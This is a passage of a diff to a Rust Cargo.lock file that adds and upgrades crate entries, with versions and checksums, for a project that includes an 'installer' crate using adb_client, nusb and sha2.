"dc827186963e592360843fb5ba4b973e145841266c1357f7180c43526f2e5b61" + [[package]] name = "bitflags" version = "1.3.2" @@ -273,6 +454,12 @@ version = "2.6.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "b048fb63fd8b5923fc5aa7b340d8e156aec7ec02f0c78fa8a6ddc2613f6f71de" +[[package]] +name = "bitstream-io" +version = "2.6.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6099cdc01846bc367c4e7dd630dc5966dccf36b652fae7a74e17b640411a91b2" + [[package]] name = "bitvec" version = "1.0.1" @@ -286,6 +473,21 @@ dependencies = [ "wyz", ] +[[package]] +name = "block-buffer" +version = "0.10.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3078c7629b62d3f0439517fa394996acacc5cbc91c5a20d8c658e77abd503a71" +dependencies = [ + "generic-array", +] + +[[package]] +name = "built" +version = "0.7.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "56ed6191a7e78c36abdb16ab65341eefd73d64d303fffccdbb00d51e4205967b" + [[package]] name = "bumpalo" version = "3.15.3" @@ -304,6 +506,12 @@ version = "1.5.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "1fd0f2584146f6f2ef48085050886acf353beff7305ebd1ae69500e27c67f64b" +[[package]] +name = "byteorder-lite" +version = "0.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8f1fe948ff07f4bd06c30984e69f5b4899c516a3ef74f34df92a2df2ab535495" + [[package]] name = "byteorder_slice" version = "3.0.0" @@ -325,9 +533,30 @@ version = "1.2.19" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "8e3a13707ac958681c13b39b458c073d0d9bc8a22cb1b2f4c8e55eb72c13f362" dependencies = [ + "jobserver", + "libc", "shlex", ] +[[package]] +name = "cexpr" +version = "0.6.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6fac387a98bb7c37292057cffc56d62ecb629900026402633ae9160df93a8766" +dependencies = [ + "nom", +] + +[[package]] +name = "cfg-expr" +version = "0.15.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d067ad48b8650848b989a59a86c6c36a995d02d2bf778d45c3c5d57bc2718f02" +dependencies = [ + "smallvec", + "target-lexicon", +] + [[package]] name = "cfg-if" version = "1.0.0" @@ -342,9 +571,9 @@ checksum = "613afe47fcd5fac7ccf1db93babcb082c5994d996f20b8b159f2ad1658eb5724" [[package]] name = "chrono" -version = "0.4.34" +version = "0.4.40" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "5bc015644b92d5890fab7489e49d21f879d5c990186827d42ec511919404f38b" +checksum = "1a7964611d71df112cb1730f2ee67324fcf4d0fc6606acbbe9bfe06df124637c" dependencies = [ "android-tzdata", "iana-time-zone", @@ -352,7 +581,18 @@ dependencies = [ "num-traits", "serde", "wasm-bindgen", - "windows-targets 0.52.3", + "windows-link", +] + +[[package]] +name = "clang-sys" +version = "1.8.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0b023947811758c97c59bf9d1c188fd619ad4718dcaa767947df1cadb14f39f4" +dependencies = [ + "glob", + "libc", + "libloading", ] [[package]] @@ -395,6 +635,15 @@ version = "0.7.4" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "f46ad14479a25103f283c0f10005961cf086d8dc42205bb44c46ac563475dca6" +[[package]] +name = "cmake" +version = "0.1.54" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e7caa3f9de89ddbe2c607f4101924c5abec803763ae9534e4f4d7d8f84aa81f0" +dependencies = [ + "cc", +] + [[package]] name = "color_quant" version = "1.1.0" @@ -417,6 +666,21 @@ dependencies = [ "windows-sys 0.52.0", ] +[[package]] +name = "concurrent-queue" +version = "2.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4ca0197aee26d1ae37445ee532fefce43251d24cc7c166799f4d46817f1d3973" +dependencies = [ + "crossbeam-utils", +] + +[[package]] +name = "const-oid" +version = "0.9.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c2459377285ad874054d797f3ccebf984978aa39129f6eafde5cdc8315b612f8" + [[package]] name = "core-foundation" version = "0.9.4" @@ -433,6 +697,15 @@ version = "0.8.6" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "06ea2b9bc92be3c2baa9334a323ebca2d6f074ff852cd1d7b11064035cd3868f" +[[package]] +name = "cpufeatures" +version = "0.2.17" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "59ed5838eebb26a2bb2e58f6d5b5316989ae9d08bab10e0e6d103e656d1b0280" +dependencies = [ + "libc", +] + [[package]] name = "crc" version = "3.0.1" @@ -457,6 +730,47 @@ dependencies = [ "cfg-if", ] +[[package]] +name = "crossbeam-deque" +version = "0.8.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9dd111b7b7f7d55b72c0a6ae361660ee5853c9af73f70c3c2ef6858b950e2e51" +dependencies = [ + "crossbeam-epoch", + "crossbeam-utils", +] + +[[package]] +name = "crossbeam-epoch" +version = "0.9.18" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5b82ac4a3c2ca9c3460964f020e1402edd5753411d7737aa39c3714ad1b5420e" +dependencies = [ + "crossbeam-utils", +] + +[[package]] +name = "crossbeam-utils" +version = "0.8.21" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d0a5c400df2834b80a4c3327b3aad3a4c4cd4de0629063962b03235697506a28" + +[[package]] +name = "crunchy" +version = "0.2.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "43da5946c66ffcc7745f48db692ffbb10a83bfe0afd96235c5c2a4fb23994929" + +[[package]] +name = "crypto-common" +version = "0.1.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1bfb12502f3fc46cca1bb51ac28df9d618d813cdc3d2f25b9fe775a34af26bb3" +dependencies = [ + "generic-array", + "typenum", +] + [[package]] name = "darling" version = "0.20.11" @@ -478,7 +792,7 @@ dependencies = [ "proc-macro2", "quote", "strsim", - "syn 2.0.50", + "syn 2.0.100", ] [[package]] @@ -489,7 +803,7 @@ checksum = "fc34b93ccb385b40dc71c6fceac4b2ad23662c7eeb248cf10d529b7e055b6ead" dependencies = [ "darling_core", "quote", - "syn 2.0.50", + "syn 2.0.100", ] [[package]] @@ -515,7 +829,18 @@ dependencies = [ "proc-macro-crate", "proc-macro2", "quote", - "syn 2.0.50", + "syn 2.0.100", +] + +[[package]] +name = "der" +version = "0.7.10" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e7c1832837b905bbfb5101e07cc24c8deddf52f93225eee6ead5f4d63d53ddcb" +dependencies = [ + "const-oid", + "pem-rfc7468", + "zeroize", ] [[package]] @@ -538,6 +863,17 @@ dependencies = [ "syn 1.0.109", ] +[[package]] +name = "digest" +version = "0.10.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9ed9a281f7bc9b7576e61468ba615a66a5c8cfdff42420a70aa82701a3b1e292" +dependencies = [ + "block-buffer", + "const-oid", + "crypto-common", +] + [[package]] name = "displaydoc" version = "0.2.5" @@ -549,6 +885,18 @@ dependencies = [ "syn 2.0.100", ] +[[package]] +name = "dunce" +version = "1.0.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "92773504d58c093f6de2459af4af33faa518c13451eb8f2b5698ed3d36e7c813" + +[[package]] +name = "either" +version = "1.15.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "48c757948c5ede0e46177b7add2e67155f70e33c07fea8284df6576da70b3719" + [[package]] name = "env_logger" version = "0.10.2" @@ -578,11 +926,47 @@ dependencies = [ "windows-sys 0.52.0", ] +[[package]] +name = "event-listener" +version = "5.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3492acde4c3fc54c845eaab3eed8bd00c7a7d881f78bfc801e43a93dec1331ae" +dependencies = [ + "concurrent-queue", + "parking", + "pin-project-lite", +] + +[[package]] +name = "event-listener-strategy" +version = "0.5.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8be9f3dfaaffdae2972880079a491a1a8bb7cbed0b8dd7a347f668b4150a3b93" +dependencies = [ + "event-listener", + "pin-project-lite", +] + +[[package]] +name = "exr" +version = "1.73.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f83197f59927b46c04a183a619b7c29df34e63e63c7869320862268c0ef687e0" +dependencies = [ + "bit_field", + "half", + "lebe", + "miniz_oxide 0.8.5", + "rayon-core", + "smallvec", + "zune-inflate", +] + [[package]] name = "fastrand" -version = "2.1.0" +version = "2.3.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "9fc0510504f03c51ada170672ac806f1f105a88aa97a5281117e1ddc3368e51a" +checksum = "37909eebbb50d72f9059c3b6d82c0463f2ff062c9e95845c43a6c9c0355411be" [[package]] name = "fdeflate" @@ -603,6 +987,17 @@ dependencies = [ "miniz_oxide 0.8.5", ] +[[package]] +name = "flume" +version = "0.11.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "da0e4dd2a88388a1f4ccc7c9ce104604dab68d9f408dc34cd45823d5a9069095" +dependencies = [ + "futures-core", + "futures-sink", + "spin", +] + [[package]] name = "fnv" version = "1.0.7" @@ -618,6 +1013,12 @@ dependencies = [ "percent-encoding", ] +[[package]] +name = "fs_extra" +version = "1.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "42703706b716c37f96a77aea830392ad231f44c9e9a67872fa5548707e11b11c" + [[package]] name = "funty" version = "2.0.0" @@ -672,6 +1073,19 @@ version = "0.3.30" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "a44623e20b9681a318efdd71c299b6b222ed6f231972bfe2f224ebad6311f0c1" +[[package]] +name = "futures-lite" +version = "2.6.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f5edaec856126859abb19ed65f39e90fea3a9574b9707f13539acf4abf7eb532" +dependencies = [ + "fastrand", + "futures-core", + "futures-io", + "parking", + "pin-project-lite", +] + [[package]] name = "futures-macro" version = "0.3.30" @@ -714,21 +1128,70 @@ dependencies = [ ] [[package]] -name = "gif" -version = "0.13.1" +name = "generic-array" +version = "0.14.7" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "3fb2d69b19215e18bb912fa30f7ce15846e301408695e44e0ef719f1da9e19f2" +checksum = "85649ca51fd72272d7821adaf274ad91c288277713d9c18820d8499a7ff69e9a" dependencies = [ - "color_quant", - "weezl", + "typenum", + "version_check", ] [[package]] -name = "gimli" -version = "0.28.1" +name = "getrandom" +version = "0.2.16" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "335ff9f135e4384c8150d6f27c6daed433577f86b4750418338c01a1a2528592" +dependencies = [ + "cfg-if", + "libc", + "wasi 0.11.0+wasi-snapshot-preview1", +] + +[[package]] +name = "getrandom" +version = "0.3.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "73fea8450eea4bac3940448fb7ae50d91f034f941199fcd9d909a5a07aa455f0" +dependencies = [ + "cfg-if", + "libc", + "r-efi", + "wasi 0.14.2+wasi-0.2.4", +] + +[[package]] +name = "gif" +version = "0.13.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3fb2d69b19215e18bb912fa30f7ce15846e301408695e44e0ef719f1da9e19f2" +dependencies = [ + "color_quant", + "weezl", +] + +[[package]] +name = "gimli" +version = "0.28.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "4271d37baee1b8c7e4b708028c57d816cf9d2434acb33a549475f78c181f6253" +[[package]] +name = "glob" +version = "0.3.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a8d1add55171497b4705a648c6b583acafb01d58050a51727785f0b2c8e0a2b2" + +[[package]] +name = "half" +version = "2.6.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "459196ed295495a68f7d7fe1d84f6c4b7ff0e21fe3017b2f283c6fac3ad803c9" +dependencies = [ + "cfg-if", + "crunchy", +] + [[package]] name = "hashbrown" version = "0.14.3" @@ -763,6 +1226,33 @@ version = "0.3.6" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "bd5256b483761cd23699d0da46cc6fd2ee3be420bbe6d020ae4a091e70b7e9fd" +[[package]] +name = "hermit-abi" +version = "0.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fbf6a919d6cf397374f7dfeeea91d974c7c0a7221d0d0f4f20d859d329e53fcc" + +[[package]] +name = "home" +version = "0.5.11" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "589533453244b0995c858700322199b2becb13b627df2851f64a2775d024abcf" +dependencies = [ + "windows-sys 0.59.0", +] + +[[package]] +name = "homedir" +version = "0.3.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5bdbbd5bc8c5749697ccaa352fa45aff8730cf21c68029c0eef1ffed7c3d6ba2" +dependencies = [ + "cfg-if", + "nix", + "widestring", + "windows", +] + [[package]] name = "http" version = "1.0.0" @@ -866,7 +1356,7 @@ dependencies = [ "iana-time-zone-haiku", "js-sys", "wasm-bindgen", - "windows-core", + "windows-core 0.52.0", ] [[package]] @@ -1023,20 +1513,55 @@ dependencies = [ "icu_properties", ] +[[package]] +name = "if-addrs" +version = "0.13.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "69b2eeee38fef3aa9b4cc5f1beea8a2444fc00e7377cafae396de3f5c2065e24" +dependencies = [ + "libc", + "windows-sys 0.59.0", +] + [[package]] name = "image" -version = "0.25.1" +version = "0.25.6" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "fd54d660e773627692c524beaad361aca785a4f9f5730ce91f42aabe5bce3d11" +checksum = "db35664ce6b9810857a38a906215e75a9c879f0696556a39f59c62829710251a" dependencies = [ "bytemuck", - "byteorder", + "byteorder-lite", "color_quant", + "exr", "gif", + "image-webp", "num-traits", "png", + "qoi", + "ravif", + "rayon", + "rgb", + "tiff", + "zune-core", + "zune-jpeg", +] + +[[package]] +name = "image-webp" +version = "0.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b77d01e822461baa8409e156015a1d91735549f0f2c17691bd2d996bef238f7f" +dependencies = [ + "byteorder-lite", + "quick-error", ] +[[package]] +name = "imgref" +version = "1.11.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d0263a3d970d5c054ed9312c0057b4f3bde9c0b33836d3637361d4a9e6e7a408" + [[package]] name = "include_dir" version = "0.7.3" @@ -1070,13 +1595,29 @@ dependencies = [ name = "installer" version = "0.1.0" dependencies = [ + "adb_client", "anyhow", "clap", "md5", + "nusb", "reqwest", "serde", "serde_json", + "sha2", "tokio", + "tokio-retry2", + "tokio-stream", +] + +[[package]] +name = "interpolate_name" +version = "0.2.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c34819042dc3d3971c46c2190835914dfbe0c3c13f61449b2997f4e9722dfa60" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.100", ] [[package]] @@ -1101,17 +1642,42 @@ version = "0.4.12" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "f23ff5ef2b80d608d61efee834934d862cd92461afc0560dedf493e4c033738b" dependencies = [ - "hermit-abi", + "hermit-abi 0.3.6", "libc", "windows-sys 0.52.0", ] +[[package]] +name = "itertools" +version = "0.12.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ba291022dbbd398a455acf126c1e341954079855bc60dfdda641363bd6922569" +dependencies = [ + "either", +] + [[package]] name = "itoa" version = "1.0.10" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "b1a46d1a171d865aa5f83f92695765caa047a9b4cbae2cbf37dbd613a793fd4c" +[[package]] +name = "jobserver" +version = "0.1.33" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "38f262f097c174adebe41eb73d66ae9c06b2844fb0da69969647bbddd9b0538a" +dependencies = [ + "getrandom 0.3.2", + "libc", +] + +[[package]] +name = "jpeg-decoder" +version = "0.3.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f5d4a7da358eff58addd2877a45865158f0d78c911d43a5784ceb7bbf52833b0" + [[package]] name = "js-sys" version = "0.3.77" @@ -1124,9 +1690,24 @@ dependencies = [ [[package]] name = "lazy_static" -version = "1.4.0" +version = "1.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bbd2bcb4c963f2ddae06a2efc7e9f3591312473c50c6685e1f298068316e66fe" +dependencies = [ + "spin", +] + +[[package]] +name = "lazycell" +version = "1.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "830d08ce1d1d941e6b30645f1a0eb5643013d835ce3779a5fc208261dbe10f55" + +[[package]] +name = "lebe" +version = "0.5.2" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "e2abad23fbc42b3700f2f279844dc832adb2b2eb069b2df918f455c4e18cc646" +checksum = "03087c2bad5e1034e8cace5926dec053fb3790248370865f5117a7d0213354c8" [[package]] name = "libc" @@ -1134,6 +1715,32 @@ version = "0.2.171" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "c19937216e9d3aa9956d9bb8dfc0b0c8beb6058fc4f7a4dc4d850edf86a237d6" +[[package]] +name = "libfuzzer-sys" +version = "0.4.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cf78f52d400cf2d84a3a973a78a592b4adc535739e0a5597a0da6f0c357adc75" +dependencies = [ + "arbitrary", + "cc", +] + +[[package]] +name = "libloading" +version = "0.8.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fc2f4eb4bc735547cfed7c0a4922cbd04a4655978c09b54f1f7b228750664c34" +dependencies = [ + "cfg-if", + "windows-targets 0.48.5", +] + +[[package]] +name = "libm" +version = "0.2.13" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c9627da5196e5d8ed0b0495e61e518847578da83483c37288316d9b2e03a7f72" + [[package]] name = "linux-raw-sys" version = "0.4.14" @@ -1162,6 +1769,15 @@ version = "0.4.27" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "13dc2df351e3202783a1fe0d44375f7295ffb4049267b0f3018346dc122a1d94" +[[package]] +name = "loop9" +version = "0.1.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0fae87c125b03c1d2c0150c90365d7d6bcc53fb73a9acaef207d2d065860f062" +dependencies = [ + "imgref", +] + [[package]] name = "mach2" version = "0.4.2" @@ -1177,12 +1793,36 @@ version = "0.8.4" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "47e1ffaa40ddd1f3ed91f717a33c8c0ee23fff369e3aa8772b9605cc1d22f4c3" +[[package]] +name = "maybe-rayon" +version = "0.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8ea1f30cedd69f0a2954655f7188c6a834246d2bcf1e315e2ac40c4b24dc9519" +dependencies = [ + "cfg-if", + "rayon", +] + [[package]] name = "md5" version = "0.7.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "490cc448043f947bae3cbee9c203358d62dbee0db12107a74be5c30ccfd09771" +[[package]] +name = "mdns-sd" +version = "0.13.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4d275ab1846c627a2c9035b83ec9df611f8451c61bcddbb64a3ab182016e08c0" +dependencies = [ + "fastrand", + "flume", + "if-addrs", + "log", + "mio", + "socket2", +] + [[package]] name = "memchr" version = "2.7.1" @@ -1205,6 +1845,12 @@ dependencies = [ "unicase", ] +[[package]] +name = "minimal-lexical" +version = "0.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "68354c5c6bd36d73ff3feceb05efa59b6acb7626617f4962be322a825e61f79a" + [[package]] name = "miniz_oxide" version = "0.7.2" @@ -1231,10 +1877,17 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "2886843bf800fba2e3377cff24abf6379b4c4d5c6681eaf9ea5b0d15090450bd" dependencies = [ "libc", - "wasi", + "log", + "wasi 0.11.0+wasi-snapshot-preview1", "windows-sys 0.52.0", ] +[[package]] +name = "new_debug_unreachable" +version = "1.0.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "650eef8c711430f1a879fdd01d4745a7deea475becfb90269c06775983bbf086" + [[package]] name = "nix" version = "0.29.0" @@ -1256,19 +1909,106 @@ dependencies = [ "memchr", ] +[[package]] +name = "nom" +version = "7.1.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d273983c5a657a70a3e8f2a01329822f3b8c8172b73826411a55751e404a0a4a" +dependencies = [ + "memchr", + "minimal-lexical", +] + +[[package]] +name = "noop_proc_macro" +version = "0.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0676bb32a98c1a483ce53e500a81ad9c3d5b3f7c920c28c24e9cb0980d0b5bc8" + +[[package]] +name = "num-bigint" +version = "0.4.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a5e44f723f1133c9deac646763579fdb3ac745e418f2a7af9cd0c431da1f20b9" +dependencies = [ + "num-integer", + "num-traits", +] + +[[package]] +name = "num-bigint-dig" +version = "0.8.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "dc84195820f291c7697304f3cbdadd1cb7199c0efc917ff5eafd71225c136151" +dependencies = [ + "byteorder", + "lazy_static", + "libm", + "num-integer", + "num-iter", + "num-traits", + "rand 0.8.5", + "serde", + "smallvec", + "zeroize", +] + [[package]] name = "num-conv" version = "0.1.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "51d515d32fb182ee37cda2ccdcb92950d6a3c2893aa280e540671c2cd0f3b1d9" +[[package]] +name = "num-derive" +version = "0.4.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ed3955f1a9c7c0c15e092f9c887db08b1fc683305fdf6eb6684f22555355e202" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.100", +] + +[[package]] +name = "num-integer" +version = "0.1.46" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7969661fd2958a5cb096e56c8e1ad0444ac2bbcd0061bd28660485a44879858f" +dependencies = [ + "num-traits", +] + +[[package]] +name = "num-iter" +version = "0.1.45" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1429034a0490724d0075ebb2bc9e875d6503c3cf69e235a8941aa757d83ef5bf" +dependencies = [ + "autocfg", + "num-integer", + "num-traits", +] + +[[package]] +name = "num-rational" +version = "0.4.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f83d14da390562dca69fc84082e73e548e1ad308d24accdedd2720017cb37824" +dependencies = [ + "num-bigint", + "num-integer", + "num-traits", +] + [[package]] name = "num-traits" -version = "0.2.18" +version = "0.2.19" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "da0df0e5185db44f69b44f26786fe401b6c293d1907744beaa7fa62b2e5a517a" +checksum = "071dfc062690e90b734c0b2273ce72ad0ffa95f0c74596bc250dcfd960262841" dependencies = [ "autocfg", + "libm", ] [[package]] @@ -1314,6 +2054,12 @@ version = "1.19.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "3fdb12b2476b595f9358c5161aa467c2438859caa136dec86c26fdd2efe17b92" +[[package]] +name = "parking" +version = "2.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f38d5652c16fde515bb1ecef450ab0f6a219d619a7274976324d5e377f7dceba" + [[package]] name = "parking_lot" version = "0.12.1" @@ -1337,6 +2083,12 @@ dependencies = [ "windows-targets 0.48.5", ] +[[package]] +name = "paste" +version = "1.0.15" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "57c0d7b74b563b49d38dae00a0c37d4d6de9b432382b2892f0574ddcae73fd0a" + [[package]] name = "pcap-file" version = "2.0.0" @@ -1345,7 +2097,7 @@ checksum = "1fc1f139757b058f9f37b76c48501799d12c9aa0aa4c0d4c980b062ee925d1b2" dependencies = [ "byteorder_slice", "derive-into-owned", - "thiserror", + "thiserror 1.0.57", ] [[package]] @@ -1358,17 +2110,56 @@ dependencies = [ "byteorder", "derive-into-owned", "pcap-file", - "thiserror", + "thiserror 1.0.57", "tokio", "tokio-byteorder", ] +[[package]] +name = "pem" +version = "3.0.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "38af38e8470ac9dee3ce1bae1af9c1671fffc44ddfd8bd1d0a3445bf349a8ef3" +dependencies = [ + "base64", + "serde", +] + +[[package]] +name = "pem-rfc7468" +version = "0.7.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "88b39c9bfcfc231068454382784bb460aae594343fb030d46e9f50a645418412" +dependencies = [ + "base64ct", +] + [[package]] name = "percent-encoding" version = "2.3.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "e3148f5046208a5d56bcfc03053e3ca6334e51da8dfb19b6cdc8b306fae3283e" +[[package]] +name = "pin-project" +version = "1.1.10" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "677f1add503faace112b9f1373e43e9e054bfdd22ff1a63c1bc485eaec6a6a8a" +dependencies = [ + "pin-project-internal", +] + +[[package]] +name = "pin-project-internal" +version = "1.1.10" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6e918e4ff8c4549eb882f14b3a4bc8c8bc93de829416eacf579f1207a8fbf861" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.100", +] + [[package]] name = "pin-project-lite" version = "0.2.13" @@ -1381,6 +2172,33 @@ version = "0.1.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "8b870d8c151b6f2fb93e84a13146138f05d02ed11c7e7c54f8826aaaf7c9f184" +[[package]] +name = "pkcs1" +version = "0.7.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c8ffb9f10fa047879315e6625af03c164b16962a5368d724ed16323b68ace47f" +dependencies = [ + "der", + "pkcs8", + "spki", +] + +[[package]] +name = "pkcs8" +version = "0.10.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f950b2377845cebe5cf8b5165cb3cc1a5e0fa5cfa3e1f7f55707d8fd82e0a7b7" +dependencies = [ + "der", + "spki", +] + +[[package]] +name = "pkg-config" +version = "0.3.32" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7edddbd0b52d732b21ad9a5fab5c704c14cd949e5e9a1ec5929a24fded1b904c" + [[package]] name = "png" version = "0.17.16" @@ -1394,12 +2212,46 @@ dependencies = [ "miniz_oxide 0.8.5", ] +[[package]] +name = "polling" +version = "3.7.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a604568c3202727d1507653cb121dbd627a58684eb09a820fd746bee38b4442f" +dependencies = [ + "cfg-if", + "concurrent-queue", + "hermit-abi 0.4.0", + "pin-project-lite", + "rustix", + "tracing", + "windows-sys 0.59.0", +] + [[package]] name = "powerfmt" version = "0.2.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "439ee305def115ba05938db6eb1644ff94165c5ab5e9420d1c1bcedbba909391" +[[package]] +name = "ppv-lite86" +version = "0.2.21" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "85eae3c4ed2f50dcfe72643da4befc30deadb458a9b590d720cde2f2b1e97da9" +dependencies = [ + "zerocopy 0.8.25", +] + +[[package]] +name = "prettyplease" +version = "0.2.32" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "664ec5419c51e34154eec046ebcba56312d5a2fc3b09a06da188e1ad21afadf6" +dependencies = [ + "proc-macro2", + "syn 2.0.100", +] + [[package]] name = "proc-macro-crate" version = "3.3.0" @@ -1418,6 +2270,49 @@ dependencies = [ "unicode-ident", ] +[[package]] +name = "profiling" +version = "1.0.16" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "afbdc74edc00b6f6a218ca6a5364d6226a259d4b8ea1af4a0ea063f27e179f4d" +dependencies = [ + "profiling-procmacros", +] + +[[package]] +name = "profiling-procmacros" +version = "1.0.16" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a65f2e60fbf1063868558d69c6beacf412dc755f9fc020f514b7955fc914fe30" +dependencies = [ + "quote", + "syn 2.0.100", +] + +[[package]] +name = "qoi" +version = "0.4.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7f6d64c71eb498fe9eae14ce4ec935c555749aef511cca85b5568910d6e48001" +dependencies = [ + "bytemuck", +] + +[[package]] +name = "quick-error" +version = "2.0.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a993555f31e5a609f617c12db6250dedcac1b0a85076912c436e6fc9b2c8e6a3" + +[[package]] +name = "quick-protobuf" +version = "0.8.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9d6da84cc204722a989e01ba2f6e1e276e190f22263d0cb6ce8526fcdb0d2e1f" +dependencies = [ + "byteorder", +] + [[package]] name = "quote" version = "1.0.35" @@ -1427,12 +2322,127 @@ dependencies = [ "proc-macro2", ] +[[package]] +name = "r-efi" +version = "5.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "74765f6d916ee2faa39bc8e68e4f3ed8949b48cccdac59983d287a7cb71ce9c5" + [[package]] name = "radium" version = "0.7.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "dc33ff2d4973d518d823d61aa239014831e521c75da58e3df4840d3f47749d09" +[[package]] +name = "rand" +version = "0.8.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "34af8d1a0e25924bc5b7c43c079c942339d8f0a8b57c39049bef581b46327404" +dependencies = [ + "libc", + "rand_chacha 0.3.1", + "rand_core 0.6.4", +] + +[[package]] +name = "rand" +version = "0.9.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = 